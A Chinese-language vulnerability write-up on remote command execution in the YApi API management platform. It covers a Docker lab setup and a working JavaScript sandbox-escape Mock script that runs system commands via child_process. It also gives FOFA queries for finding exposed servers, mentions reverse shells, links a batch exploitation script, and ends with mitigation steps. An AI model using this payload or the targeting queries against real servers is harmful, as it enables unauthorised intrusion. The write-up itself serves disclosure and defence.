Yapi远程命令执行漏洞

0x01 漏洞介绍

Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。

安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:https://github.com/YMFE/yapi/issues/2233。

0x02 漏洞描述

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代

0x03 FOFA语句

app="YApi"
icon_hash="-715193973"

0x03 Yapi部署教程

使用Docker构建Yapi(Ubuntu环境)。

启动mongodb。

docker run -d --name mongo-yapi -p 27017:27017 mongo

获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看

docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi

自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:

{
  "port": "3000",
  "adminAccount": "admin@qq.com",
  "db": {
    "servername": "mongo-yapi",
    "DATABASE": "yapi",
    "port": 27017
  },
  "mail": {
    "enable": true,//邮件通知
    "host": "smtp.qq.com",//邮箱服务器
    "port": 465,
    "from": "admin@qq.com",//发件人邮箱
    "auth": {
      "user": "adminadmin@qq.com",//邮箱服务器账号
      "pass": "123456"//邮箱服务器密码
    }
  }
}

初始化Yapi数据库索引及管理员账号。


docker run -it --rm \
  -v /config/config.json:/api/config.json \
  --link mongo-yapi:mongo \
  --entrypoint npm \
  --workdir /api/vendors \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  run install-server

启动Yapi服务。


docker run -d \
  -v /config/config.json:/api/config.json \
  --name yapi \
  --link mongo-yapi:mongo \
  --workdir /api/vendors \
  -p 3000:3000 \
  registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
  server/app.js

访问http://localhost:3000登录账号admin@qq.com,密码 123456。

漏洞利用

注册用户

利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。

添加项目

添加一个项目。

输入项目名称,输入完成后点击创建名称

添加接口

点击添加接口

输入接口名称和接口路径,输入完成后点击提交

添加Mock脚本

点击高级Mock,并打开脚本页面

开启脚本,输入Mock脚本

脚本内容:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

点击保存,打开预览界面。访问Mock地址即可执行命令。

访问Mock地址

成功获取当前用户

可将Mock脚本中的whoami改成任意语句,可执行反弹shell等操作。

修复建议

该漏洞暂无补丁。

临时修复建议:

  1. 关闭YAPI用户注册功能,以阻断攻击者注册。

  2. 利用请求白名单的方式限制 YAPI 相关端口。

  3. 排查 YAPI 服务器是否存在恶意访问记录。

切勿非法用途,履行白帽职责。

批量脚本:https://raw.githubusercontent.com/ad-calcium/vuln_script/main/Yapi%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.py